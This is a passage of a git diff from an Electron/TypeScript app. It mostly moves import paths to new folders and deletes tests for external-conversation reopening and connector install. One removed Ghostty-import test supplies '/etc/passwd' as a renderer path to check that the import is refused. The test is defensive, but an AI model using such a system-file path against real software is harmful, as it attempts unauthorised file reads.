isDefinitiveAbsence } from '../../../../shared/errors/definitive-filesystem-absence' import { agentSessionPinnedLaunchDirectory } from '../../../runtime/agent-session/records/agent-session-record-launch-directory' import { resolveHiddenProbeCwd } from '../../../lib/hidden-probe-cwd' -import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host' +import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host/execution-host' import { agentDrivesSession } from '../../../native-chat/agent-session-wire/providers/structured-agent-session-provider-support' import { CODEX_STRUCTURED_AGENT } from '../launch/codex-structured-agent-definition' import { codexStructuredLaunchArgs } from '../launch/codex-structured-launch-args' diff --git a/src/main/codex/structured/session-lifecycle/codex-structured-session-adapter.ts b/src/main/codex/structured/session-lifecycle/codex-structured-session-adapter.ts index d456d5b5267..406f194e2f7 100644 --- a/src/main/codex/structured/session-lifecycle/codex-structured-session-adapter.ts +++ b/src/main/codex/structured/session-lifecycle/codex-structured-session-adapter.ts @@ -15,7 +15,7 @@ import type { StructuredAgentSessionProviderOpenInput } from '../../../native-ch import type { CodexJournalTranslationAdmission } from '../journal/codex-structured-journal-contracts' import { dispatchCodexTurn } from '../turns/codex-structured-turn-start' import { isCodexTurnOptionKey } from '../turns/codex-turn-option-keys' -import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host' +import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host/execution-host' import { CodexStructuredSessionTeardown } from './codex-structured-session-teardown' import { applyCodexStructuredSessionOption, diff --git a/src/main/connector-cloud/connector-places.ts b/src/main/connector-cloud/connector-places.ts index cfda797281e..5168fa273db 100644 --- a/src/main/connector-cloud/connector-places.ts +++ b/src/main/connector-cloud/connector-places.ts @@ -10,7 +10,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { splitGitRemoteKey } from '../../shared/git/remotes/git-remote-identity' import { getRepoIdFromWorktreeId } from '../../shared/worktree/id' import { isFolderRepo } from '../../shared/repository/repo-kind' diff --git a/src/main/editor/format-editor-text.ts b/src/main/editor/format-editor-text.ts index 47bd9da9384..112b13f08e0 100644 --- a/src/main/editor/format-editor-text.ts +++ b/src/main/editor/format-editor-text.ts @@ -6,7 +6,7 @@ import { editorFormatterSchema, type EditorFormatResult } from '../../shared/editor/formatting/editor-formatter' -import { getRepoExecutionHostId } from '../../shared/execution-host' +import { getRepoExecutionHostId } from '../../shared/execution-host/execution-host' import { isPathInsideOrEqual } from '../../shared/file-access/cross-platform-path' import type { RuntimeStore } from '../runtime/construction/runtime-store-contract' import type { RuntimeFileExplorerPath } from '../runtime/files/file-target' diff --git a/src/main/emulator/emulator-opening-preference.ts b/src/main/emulator/emulator-opening-preference.ts index bdf4b63457f..deab401ca04 100644 --- a/src/main/emulator/emulator-opening-preference.ts +++ b/src/main/emulator/emulator-opening-preference.ts @@ -1,5 +1,5 @@ import { getEmulatorOpeningMode } from '../../shared/emulator/emulator-opening-preferences' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { EmulatorDevicePreference, EmulatorSelectionRequired diff --git a/src/main/ephemeral-vm/recipe-vm-asleep.ts b/src/main/ephemeral-vm/recipe-vm-asleep.ts index 6e8e0e43c36..7c78a0694f7 100644 --- a/src/main/ephemeral-vm/recipe-vm-asleep.ts +++ b/src/main/ephemeral-vm/recipe-vm-asleep.ts @@ -4,7 +4,7 @@ import { } from '../../shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-environment-sleep' import { listEphemeralVmRuntimes } from '../../shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store' import type { EphemeralVmRuntimeRecord } from '../../shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtimes' -import { isRuntimeOwnedSshTargetId } from '../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../shared/execution-host/execution-host' import { resolveEnvironment } from '../../shared/remote-runtime/host-store/runtime-environment-store' import { getRecipeVmWaker } from '../runtime/workspaces/sleep/recipe-vm-waker-registry' import { getRuntimeOwnedSshTargetId } from '../ssh/targets/ssh-target-runtime-ownership' diff --git a/src/main/ephemeral-vm/workspace-removal.ts b/src/main/ephemeral-vm/workspace-removal.ts index 3b4156bbc4c..aaeb6334972 100644 --- a/src/main/ephemeral-vm/workspace-removal.ts +++ b/src/main/ephemeral-vm/workspace-removal.ts @@ -12,7 +12,7 @@ import { type RecipeEnvironmentDescription, type RecipeHostRemovalState } from '../../shared/remote-runtime/ephemeral-vm-recipes/recipe-host-removal' -import { toRuntimeExecutionHostId } from '../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../shared/execution-host/execution-host' export type RecipeWorkspaceRemoveParams = z.infer diff --git a/src/main/external-conversations/external-conversation-links.ts b/src/main/external-conversations/external-conversation-links.ts index f74be025ebf..eb753d1cc64 100644 --- a/src/main/external-conversations/external-conversation-links.ts +++ b/src/main/external-conversations/external-conversation-links.ts @@ -8,7 +8,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { normalizeAgentProviderSession } from '../../shared/agent-session/lifecycle/agent-session-resume' import { readAllWorktreeMetaForHost } from '../persistence/host-qualified-worktree-meta' import { folderWorkspaceKey } from '../../shared/workspace/identity/workspace-scope' diff --git a/src/main/external-conversations/external-conversation-reopen.test.ts b/src/main/external-conversations/external-conversation-reopen.test.ts deleted file mode 100644 index 4c3542b7b07..00000000000 --- a/src/main/external-conversations/external-conversation-reopen.test.ts +++ /dev/null @@ -1,224 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../shared/execution-host' -import type { ConversationKey } from './external-conversation-types' -import { - fakeLauncher, - fakeLinkStore, - fakeTerminal, - launchResult, - LOCAL_REPO, - PANE, - REOPENED_PANE, - SESSION, - sessionRow, - WORKTREE -} from './external-conversation.test-fixture' -import { harness } from './external-conversation-seam.test-fixture' - -const KEY: ConversationKey = { source: 'dev', externalId: 'thread-1' } -const START = { - agent: 'claude', - target: { kind: 'existing' as const, worktree: `id:${WORKTREE}` }, - prompt: 'first' -} -const REOPENED = { outcome: 'accepted', reopened: true } -const UNREACHABLE = { outcome: 'refused', reason: 'agent_not_reachable' } - -async function started( - records = fakeLinkStore(), - sshHostId: ExecutionHostId | null = null, - terminal = fakeTerminal() -) { - const h = harness({}, records, undefined, terminal.terminal) - const { launcher } = fakeLauncher(async () => launchResult('handed-to-terminal'), { - worktreeId: WORKTREE, - sshHostId - }) - const host = { launcher, terminal: terminal.terminal } - await h.seam.start(host, KEY, 'start', START) - const link = (): unknown => h.row(WORKTREE, sshHostId ?? 'local')?.externalConversations - return { ...h, terminal, host, link } -} - -describe('ExternalConversationSeam reopen', () => { - it('never adopts a replacement process while the reopened agent becomes ready', async () => { - const { seam, host, terminal, reportSessions } = await started() - reportSessions([{ paneKey: PANE, sessionId: SESSION.id }]) - terminal.exit() - terminal.reopenable() - terminal.waitForFreshWorkerComposer.mockImplementationOnce(async () => { - terminal.replace() - return { - handle: 'term-2', - condition: 'tui-idle', - satisfied: true, - status: 'running', - exitCode: null - } - }) - const head = seam.send(host, KEY, 'replacement-head', 'one') - const follower = seam.send(host, KEY, 'replacement-follower', 'two') - expect(await head).toEqual(UNREACHABLE) - expect(await follower).toEqual(UNREACHABLE) - expect(terminal.writes).toEqual([]) - }) - - it('reopens a closed tab’s agent from the session hooks reported, and sends to it', async () => { - const { seam, host, terminal, reportSessions, link } = await started() - reportSessions([{ paneKey: PANE, sessionId: SESSION.id }]) - expect(link()).toEqual([ - expect.objectContaining({ paneKey: PANE, providerSession: SESSION, captureHostId: 'local' }) - ]) - terminal.exit() - terminal.reopenable() - expect(await seam.send(host, KEY, 'd1', 'what did you say?')).toEqual(REOPENED) - expect(terminal.resumeAgentSessionInWorkspace).toHaveBeenCalledWith(WORKTREE, { - agent: 'claude', - providerSession: SESSION, - captureHostId: 'local', - mutationId: expect.stringContaining('d1'), - signal: expect.any(AbortSignal) - }) - expect(terminal.waitForFreshWorkerComposer).toHaveBeenCalled() - expect(terminal.writes).toEqual(['what did you say?']) - expect(terminal.sendTerminalAgentPrompt).toHaveBeenLastCalledWith( - 'term-2', - 'what did you say?', - expect.objectContaining({ - expectedBinding: { ptyId: 'pty-2', processIncarnation: 'inc-pty-2' } - }) - ) - expect(link()).toEqual([expect.objectContaining({ paneKey: REOPENED_PANE })]) - expect(await seam.send(host, KEY, 'd2', 'next')).toEqual({ outcome: 'accepted' }) - expect(terminal.resumeAgentSessionInWorkspace).toHaveBeenCalledTimes(1) - }) - - it('keeps a reopened answer for a repeated delivery id without reopening again', async () => { - const { seam, host, terminal, reportSessions } = await started() - reportSessions([{ paneKey: PANE, sessionId: SESSION.id }]) - terminal.exit() - terminal.reopenable() - expect(await seam.send(host, KEY, 'd1', 'x')).toEqual(REOPENED) - expect(await seam.send(host, KEY, 'd1', 'x')).toEqual(REOPENED) - expect(terminal.resumeAgentSessionInWorkspace).toHaveBeenCalledTimes(1) - }) - - it.each([ - ['window_owns_wake', 'agent_asleep_in_window'], - ['no_resume_command', 'reopen_refused'], - ['create_failed', 'reopen_refused'], - ['held_elsewhere', 'agent_not_reachable'] - ] as const)( - 'refuses with its reason when the resume answers %s, and so does a follower', - async (resumeRefusal, reason) => { - const { seam, host, terminal, reportSessions, link } = await started() - reportSessions([{ paneKey: PANE, sessionId: SESSION.id }]) - terminal.exit() - terminal.resumeAgentSessionInWorkspace.mockResolvedValue({ ok: false, reason: resumeRefusal }) - const head = seam.send(host, KEY, 'd1', 'one') - const follower = seam.send(host, KEY, 'd2', 'two') - expect(await head).toEqual({ outcome: 'refused', reason }) - expect(await follower).toEqual({ outcome: 'refused', reason }) - expect(terminal.resumeAgentSessionInWorkspace).toHaveBeenCalledTimes(1) - expect(terminal.writes).toEqual([]) - expect(link()).toEqual([expect.objectContaining({ paneKey: PANE })]) - } - ) - - it('refuses without asking the resume when no session id is known', async () => { - const terminal = fakeTerminal() - terminal.state.rows = [] - const { seam, host } = await started(undefined, null, terminal) - terminal.exit() - terminal.reopenable() - expect(await seam.send(host, KEY, 'd1', 'x')).toEqual({ - outcome: 'refused', - reason: 'no_session_to_reopen' - }) - expect(terminal.resumeAgentSessionInWorkspace).not.toHaveBeenCalled() - }) - - it('does not reopen an SSH agent out of contact: the old pane may still hold it', async () => { - const records = fakeLinkStore([LOCAL_REPO, { ...LOCAL_REPO, connectionId: 'box' }]) - records.put(WORKTREE, 'ssh:box', {}) - const { seam, host, terminal, link } = await started(records, 'ssh:box') - terminal.state.rows = [sessionRow(PANE, 'box')] - expect(await seam.send(host, KEY, 'd1', 'one')).toEqual({ outcome: 'accepted' }) - // A disconnected relay cannot prove the old process exited, so reopening remains unsafe. - terminal.sendTerminalAgentPrompt.mockRejectedValueOnce(new Error('terminal_not_writable')) - expect(await seam.send(host, KEY, 'd2', 'two')).toEqual(UNREACHABLE) - expect(terminal.resumeAgentSessionInWorkspace).toHaveBeenCalledWith( - WORKTREE, - expect.objectContaining({ captureHostId: 'ssh:box' }) - ) - expect(terminal.writes).toEqual(['one']) - expect(link()).toEqual([expect.objectContaining({ paneKey: PANE })]) - }) - - it('does not reopen for a follower whose lane already wrote to the process that exited', async () => { - const { seam, host, terminal, reportSessions } = await started() - reportSessions([{ paneKey: PANE, sessionId: SESSION.id }]) - terminal.reopenable() - terminal.sendTerminalAgentPrompt.mockImplementationOnce(async (handle, prompt) => { - terminal.writes.push(prompt) - terminal.exit() - return { handle, accepted: true, bytesWritten: 1 } - }) - const head = seam.send(host, KEY, 'd1', 'one') - const follower = seam.send(host, KEY, 'd2', 'two') - expect(await head).toEqual({ outcome: 'accepted' }) - expect(await follower).toEqual(UNREACHABLE) - expect(terminal.resumeAgentSessionInWorkspace).not.toHaveBeenCalled() - expect(await seam.send(host, KEY, 'd3', 'three')).toEqual(REOPENED) - expect(terminal.writes).toEqual(['one', 'three']) - }) - - it('reopens for a held head whose agent exits, and sends its follower to the new agent', async () => { - const { seam, host, terminal, reportSessions } = await started() - reportSessions([{ paneKey: PANE, sessionId: SESSION.id }]) - terminal.reopenable() - terminal.state.blocked = true - const head = seam.send(host, KEY, 'd1', 'one') - const follower = seam.send(host, KEY, 'd2', 'two') - await vi.waitFor(() => expect(terminal.held()).toBe(1)) - terminal.state.blocked = false - terminal.exit() - expect(await head).toEqual(REOPENED) - expect(await follower).toEqual({ outcome: 'accepted' }) - expect(terminal.writes).toEqual(['one', 'two']) - }) - - it('refuses a reopened agent that never shows its composer, and links its pane', async () => { - const { seam, host, terminal, reportSessions, link } = await started() - reportSessions([{ paneKey: PANE, sessionId: SESSION.id }]) - terminal.exit() - terminal.reopenable() - terminal.waitForFreshWorkerComposer.mockResolvedValueOnce({ - handle: 'term-2', - condition: 'tui-idle', - satisfied: false, - status: 'running', - exitCode: null - }) - expect(await seam.send(host, KEY, 'd1', 'x')).toEqual(UNREACHABLE) - expect(terminal.writes).toEqual([]) - expect(link()).toEqual([expect.objectContaining({ paneKey: REOPENED_PANE })]) - }) - - it('captures a persisted link’s changed session after connectors are turned off and on', async () => { - const { seam, restart, host, terminal, reportSessions } = await started() - seam.dispose('connectors_disabled') - const restarted = restart() - const changedSession = { ...SESSION, id: 'claude-session-after-clear' } - terminal.state.rows = [sessionRow(PANE, null, changedSession)] - reportSessions([{ paneKey: PANE, sessionId: changedSession.id }]) - terminal.exit() - terminal.state.rows = [] - terminal.reopenable() - expect(await restarted.send(host, KEY, 'after-restart', 'next')).toEqual(REOPENED) - expect(terminal.resumeAgentSessionInWorkspace).toHaveBeenCalledWith( - WORKTREE, - expect.objectContaining({ providerSession: changedSession }) - ) - }) -}) diff --git a/src/main/external-conversations/external-conversation-seam.test-fixture.ts b/src/main/external-conversations/external-conversation-seam.test-fixture.ts index dbb72d8b2d6..52996dbd6a2 100644 --- a/src/main/external-conversations/external-conversation-seam.test-fixture.ts +++ b/src/main/external-conversations/external-conversation-seam.test-fixture.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { AgentStatusIpcPayload } from '../../shared/agent-status/contracts/agent-status-ipc-payload' import type { AgentPaneChange } from '../agent-hooks/observations/agent-transition-detector' import { OrchestrationDb } from '../runtime/orchestration/db/orchestration-db' diff --git a/src/main/external-conversations/external-conversation-session-capture.ts b/src/main/external-conversations/external-conversation-session-capture.ts index 92a8c819672..209219a3c02 100644 --- a/src/main/external-conversations/external-conversation-session-capture.ts +++ b/src/main/external-conversations/external-conversation-session-capture.ts @@ -4,7 +4,10 @@ import { } from '../../shared/agent-session/lifecycle/agent-session-resume' import { agentProviderSessionsEqual } from '../../shared/agent-session/lifecycle/resume/agent-provider-session-equality' import type { AgentStatusIpcPayload } from '../../shared/agent-status/contracts/agent-status-ipc-payload' -import { getConnectionExecutionHostId, type ExecutionHostId } from '../../shared/execution-host' +import { + getConnectionExecutionHostId, + type ExecutionHostId +} from '../../shared/execution-host/execution-host' import type { ExternalConversationLink } from '../../shared/connectors/external-conversation-link' import { isLocalHookConnectionId } from '../../shared/agent-hook-listener/transport/wsl-hook-relay-contract' import type { OrcaRuntimeService } from '../runtime/orca-runtime' diff --git a/src/main/external-conversations/external-conversation.test-fixture.ts b/src/main/external-conversations/external-conversation.test-fixture.ts index 11c8f874a30..eb69bc657a8 100644 --- a/src/main/external-conversations/external-conversation.test-fixture.ts +++ b/src/main/external-conversations/external-conversation.test-fixture.ts @@ -3,7 +3,7 @@ import type { AgentLaunchResult, AgentLaunchResult as AgentLaunchPublishedSurface } from '../../shared/agent-launch/contracts/agent-launch-intent' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { Repo } from '../../shared/repository/repo-types' import type { PtyLivenessVerdict } from '../../shared/terminal/pty/lifecycle/pty-liveness-verdict' import type { RuntimeTerminalSend } from '../../shared/terminal/runtime/runtime-terminal-send-contract' diff --git a/src/main/external-conversations/external-conversations-install.test.ts b/src/main/external-conversations/external-conversations-install.test.ts deleted file mode 100644 index 16e35b7ca55..00000000000 --- a/src/main/external-conversations/external-conversations-install.test.ts +++ /dev/null @@ -1,143 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import type { AgentStatusIpcPayload } from '../../shared/agent-status/contracts/agent-status-ipc-payload' -import type { GlobalSettings } from '../../shared/global-settings-types' -import type { RuntimeWorktreeLifecycleEvent } from '../runtime/workspaces/lifecycle/worktree-lifecycle-event' -import { OrchestrationDb } from '../runtime/orchestration/db/orchestration-db' -import { installExternalConversations } from './external-conversations-install' -import { - fakeLauncher, - fakeLinkStore, - fakeTerminal, - launchResult, - PANE, - SESSION, - sessionRow, - WORKTREE -} from './external-conversation.test-fixture' - -type SettingsListener = (updates: Partial) => void - -function fakeStore(initial: Partial, records = fakeLinkStore()) { - let settings = { ...initial } - const listeners = new Set() - const getSettings = vi.fn(() => settings) - const store = { - ...records.store, - getSettings, - onSettingsChanged: (listener: SettingsListener) => { - listeners.add(listener) - return () => listeners.delete(listener) - } - } - const update = (updates: Partial): void => { - settings = { ...settings, ...updates } - listeners.forEach((listener) => listener(updates)) - } - return { store, listeners, getSettings, update } -} - -function runtime() { - const db = new OrchestrationDb(':memory:') - const lifecycle = new Set<(event: RuntimeWorktreeLifecycleEvent) => void>() - return { - lifecycle, - getOrchestrationDb: vi.fn(() => db), - onWorktreeLifecycle: (listener: (event: RuntimeWorktreeLifecycleEvent) => void) => { - lifecycle.add(listener) - return () => { - lifecycle.delete(listener) - } - }, - subscribeAgentProviderSessionChangesFn: null, - getAgentStatusRowsForPane: (): AgentStatusIpcPayload[] => [], - agentTransitions: { latestRow: vi.fn(() => null), subscribe: vi.fn(() => () => {}) } - } -} - -describe('installExternalConversations', () => { - it('leaves a delivery still running across a disable and re-enable to its owner', async () => { - const { store, update } = fakeStore({ experimentalConnectors: true }) - const host = runtime() - const db = host.getOrchestrationDb() - const connectors = installExternalConversations(store, host) - let release = (): void => {} - const held = new Promise((resolve) => { - release = resolve - }) - const { launcher, launch } = fakeLauncher(async () => { - await held - return launchResult('handed-to-terminal') - }) - const conversation = { launcher, terminal: fakeTerminal().terminal } - const key = { source: 'dev', externalId: 'thread' } as const - const input = { - agent: 'claude', - target: { kind: 'existing' as const, worktree: `id:${WORKTREE}` }, - prompt: 'hi' - } - const live = connectors.current()?.start(conversation, key, 'd1', input) - await vi.waitFor(() => expect(launch).toHaveBeenCalledTimes(1)) - - update({ experimentalConnectors: false }) - update({ experimentalConnectors: true }) - const retry = connectors.current()?.start(conversation, key, 'd1', input) - const requestId = JSON.stringify(['thread', 'd1']) - expect(db.getMutationReceipt('connector:dev', requestId)?.state).toBe('pending') - - release() - const [first, second] = await Promise.all([live, retry]) - expect(second?.initial).toEqual(first?.initial) - expect(db.getMutationReceipt('connector:dev', requestId)?.receipt).toBe( - JSON.stringify(first?.initial) - ) - expect(launch).toHaveBeenCalledTimes(1) - }) - - it('watches persisted links from host startup, so a session changed before any call is kept', () => { - const records = fakeLinkStore() - const link = { source: 'dev', externalId: 't1', paneKey: PANE, agent: 'claude' } - records.put(WORKTREE, 'local', { - externalConversations: [ - { ...link, providerSession: SESSION, captureHostId: 'local', createdAt: 1 } - ] - }) - const { store, update } = fakeStore({ experimentalConnectors: true }, records) - let rows: AgentStatusIpcPayload[] = [] - const reports = new Set<(sessions: readonly { paneKey: string; sessionId: string }[]) => void>() - const host = { - ...runtime(), - getAgentStatusRowsForPane: () => rows, - subscribeAgentProviderSessionChangesFn: ( - listener: (sessions: readonly { paneKey: string; sessionId: string }[]) => void - ) => { - reports.add(listener) - return () => reports.delete(listener) - } - } - const connectors = installExternalConversations(store, host) - connectors.current() - const cleared = { ...SESSION, id: 'claude-session-after-clear' } - rows = [sessionRow(PANE, null, cleared)] - reports.forEach((listener) => listener([{ paneKey: PANE, sessionId: cleared.id }])) - rows = [] - expect(records.row(WORKTREE)?.externalConversations).toEqual([ - expect.objectContaining({ ...link, providerSession: cleared }) - ]) - update({ experimentalConnectors: false }) - expect(reports.size).toBe(0) - const reenabled = { ...SESSION, id: 'claude-session-after-reenable' } - rows = [sessionRow(PANE, null, reenabled)] - update({ experimentalConnectors: true }) - expect(reports.size).toBe(1) - expect(records.row(WORKTREE)?.externalConversations).toEqual([ - expect.objectContaining({ ...link, providerSession: reenabled }) - ]) - const later = { ...SESSION, id: 'claude-session-after-new-report' } - rows = [sessionRow(PANE, null, later)] - reports.forEach((listener) => listener([{ paneKey: PANE, sessionId: later.id }])) - rows = [] - expect(records.row(WORKTREE)?.externalConversations).toEqual([ - expect.objectContaining({ ...link, providerSession: later }) - ]) - }) -}) diff --git a/src/main/external-conversations/external-conversations-install.ts b/src/main/external-conversations/external-conversations-install.ts index b8daa142a97..6ce896fdf52 100644 --- a/src/main/external-conversations/external-conversations-install.ts +++ b/src/main/external-conversations/external-conversations-install.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { AgentTransitionDetector } from '../agent-hooks/observations/agent-transition-detector' import type { RuntimeWorktreeLifecycleEvent } from '../runtime/workspaces/lifecycle/worktree-lifecycle-event' import { DeliveryReceipts, type DeliveryReceiptDb } from './external-conversation-delivery-receipts' diff --git a/src/main/external-editors/open-in-editor-command.ts b/src/main/external-editors/open-in-editor-command.ts index 6cf9c027b8e..a98325e13f8 100644 --- a/src/main/external-editors/open-in-editor-command.ts +++ b/src/main/external-editors/open-in-editor-command.ts @@ -1,5 +1,5 @@ import { BUILT_IN_EDITOR_COMMANDS } from '../../shared/editor/launch/open-in-applications' -import type { OpenInApplication } from '../../shared/ui-chrome-types' +import type { OpenInApplication } from '../../shared/ui-chrome/ui-chrome-types' import type { ShellOpenExternalEditorRequest } from '../../shared/shell/opening/shell-open-types' type EditorSelection = Pick< diff --git a/src/main/ghostty/index.test.ts b/src/main/ghostty/index.test.ts index e7de7246890..772ad13db27 100644 --- a/src/main/ghostty/index.test.ts +++ b/src/main/ghostty/index.test.ts @@ -1,5 +1,5 @@ import type { Store } from '../persistence/loading-store/store' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { afterEach, describe, expect, it, vi } from 'vitest' const { statMock, readFileMock, showOpenDialogMock } = vi.hoisted(() => ({ @@ -43,29 +43,6 @@ function createStore(settings: Record = {}): Store { } describe('previewGhosttyImport', () => { - it('reads only the picked file and never a renderer-supplied path', async () => { - const pickedPath = '/Users/alice/dotfiles/ghostty/config' - statMock.mockResolvedValue({ isFile: () => true, size: 32 }) - readFileMock.mockResolvedValue('font-size = 15\n') - showOpenDialogMock.mockResolvedValueOnce({ canceled: false, filePaths: [pickedPath] }) - - const picked = await previewGhosttyImport(createStore(), { kind: 'chooseFile' }) - expect(picked.configPaths).toEqual([pickedPath]) - expect(picked.diff.terminalFontSize).toBe(15) - expect(readFileMock).toHaveBeenCalledTimes(1) - - const withPath = await previewGhosttyImport(createStore(), { - kind: 'chooseFile', - path: '/etc/passwd' - }) - expect(withPath.error).toBe('Invalid Ghostty import source.') - - showOpenDialogMock.mockResolvedValueOnce({ canceled: true, filePaths: [] }) - const canceled = await previewGhosttyImport(createStore(), { kind: 'chooseFile' }) - expect(canceled).toEqual({ found: false, canceled: true, diff: {}, unsupportedKeys: [] }) - expect(readFileMock).toHaveBeenCalledTimes(1) - }) - it('keeps successfully imported settings when a later config cannot be read', async () => { delete process.env.XDG_CONFIG_HOME const firstPath = '/Users/alice/.config/ghostty/config.ghostty' diff --git a/src/main/ghostty/index.ts b/src/main/ghostty/index.ts index 636b7c1bf67..dba93aa8b7d 100644 --- a/src/main/ghostty/index.ts +++ b/src/main/ghostty/index.ts @@ -1,6 +1,6 @@ import { platform } from 'node:os' import type { WebContents } from 'electron' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { TerminalConfigImportPreview } from '../../shared/terminal/appearance/terminal-config-import-preview' import type { Store } from '../persistence/loading-store/store' import { translateMain } from '../i18n/main-i18n' diff --git a/src/main/ghostty/mapper.ts b/src/main/ghostty/mapper.ts index fc866ecb1ab..5e408100dd4 100644 --- a/src/main/ghostty/mapper.ts +++ b/src/main/ghostty/mapper.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { TerminalColorOverrides } from '../../shared/terminal-themes/terminal-color-overrides' import { HEX_COLOR_RE } from '../../shared/color/color-validation' import { parsePaddingValue, parseStrictInt } from './numeric-config-values' diff --git a/src/main/ghostty/theme-import.test.ts b/src/main/ghostty/theme-import.test.ts index e5afe111b95..d9b10c28c35 100644 --- a/src/main/ghostty/theme-import.test.ts +++ b/src/main/ghostty/theme-import.test.ts @@ -1,5 +1,5 @@ import type { Store } from '../persistence/loading-store/store' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' const { statMock, readFileMock } = vi.hoisted(() => ({ diff --git a/src/main/ghostty/theme-mapping.ts b/src/main/ghostty/theme-mapping.ts index 27988b56a62..4a07b520c85 100644 --- a/src/main/ghostty/theme-mapping.ts +++ b/src/main/ghostty/theme-mapping.ts @@ -1,6 +1,6 @@ import { platform } from 'node:os' import path from 'node:path' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { TerminalColorOverrides, TerminalThemeSlot diff --git a/src/main/git/remotes/remote-url-probe.ts b/src/main/git/remotes/remote-url-probe.ts index 77b69665b5b..a244e75c57b 100644 --- a/src/main/git/remotes/remote-url-probe.ts +++ b/src/main/git/remotes/remote-url-probe.ts @@ -3,7 +3,7 @@ import { gitExecFileAsync } from '../command-runner/git-exec-file' import { isStableMissingGitRemoteError } from './stable-missing-git-remote-error' import type { GitAdmissionTier } from '../../../shared/rpc-contract/source-control/git-admission-tier-params' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' // Bound config probes so stalled mounts or WSL cannot hold every forge lookup indefinitely. export const REMOTE_URL_PROBE_TIMEOUT_MS = 30_000 diff --git a/src/main/git/repositories/cloning/clone-target-check.ts b/src/main/git/repositories/cloning/clone-target-check.ts index 39d86a15b4a..66c1f359d1a 100644 --- a/src/main/git/repositories/cloning/clone-target-check.ts +++ b/src/main/git/repositories/cloning/clone-target-check.ts @@ -1,6 +1,6 @@ import { basename, join } from 'node:path' import { lstat, readdir } from 'node:fs/promises' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { CloneTargetArgs, CloneTargetCheck diff --git a/src/main/git/repositories/cloning/saved-clone-target.test.ts b/src/main/git/repositories/cloning/saved-clone-target.test.ts index 0292382e18f..467686ba2ec 100644 --- a/src/main/git/repositories/cloning/saved-clone-target.test.ts +++ b/src/main/git/repositories/cloning/saved-clone-target.test.ts @@ -3,7 +3,7 @@ import { execFileSync } from 'node:child_process' import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { reuseSavedCloneTarget } from './saved-clone-target' diff --git a/src/main/git/repositories/cloning/saved-clone-target.ts b/src/main/git/repositories/cloning/saved-clone-target.ts index ed628e44313..0801506876c 100644 --- a/src/main/git/repositories/cloning/saved-clone-target.ts +++ b/src/main/git/repositories/cloning/saved-clone-target.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { normalizeGitRemoteUrl } from '../../../../shared/git/remotes/git-remote-identity' import { isShowRefNoMatchError } from '../../../../shared/git/refs/git-show-ref-no-match' import { isFolderRepo } from '../../../../shared/repository/repo-kind' diff --git a/src/main/gitea/pull-request-creation.ts b/src/main/gitea/pull-request-creation.ts index 18badccd843..1aa8b55088a 100644 --- a/src/main/gitea/pull-request-creation.ts +++ b/src/main/gitea/pull-request-creation.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' import type { CreateHostedReviewInput, diff --git a/src/main/gitea/pull-request-read-forgetting.ts b/src/main/gitea/pull-request-read-forgetting.ts index fb80bc44de9..f1f81a7f62b 100644 --- a/src/main/gitea/pull-request-read-forgetting.ts +++ b/src/main/gitea/pull-request-read-forgetting.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' import type { HostedReviewExecutionOptions } from '../source-control/hosted-review-git-options' import { getGiteaRepoSlug, invalidateGiteaPullRequestScanForRepo } from './client' diff --git a/src/main/github/accounts/github-project-account.ts b/src/main/github/accounts/github-project-account.ts index 9c208718238..2e4db5b0eef 100644 --- a/src/main/github/accounts/github-project-account.ts +++ 